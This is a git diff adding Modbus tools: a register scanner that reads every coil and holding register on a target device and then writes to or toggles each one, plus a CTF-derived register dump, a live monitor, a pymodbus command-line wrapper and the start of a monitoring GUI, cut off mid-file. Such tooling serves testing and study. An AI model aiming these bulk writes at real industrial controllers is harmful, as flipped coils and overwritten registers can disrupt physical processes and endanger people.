write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = 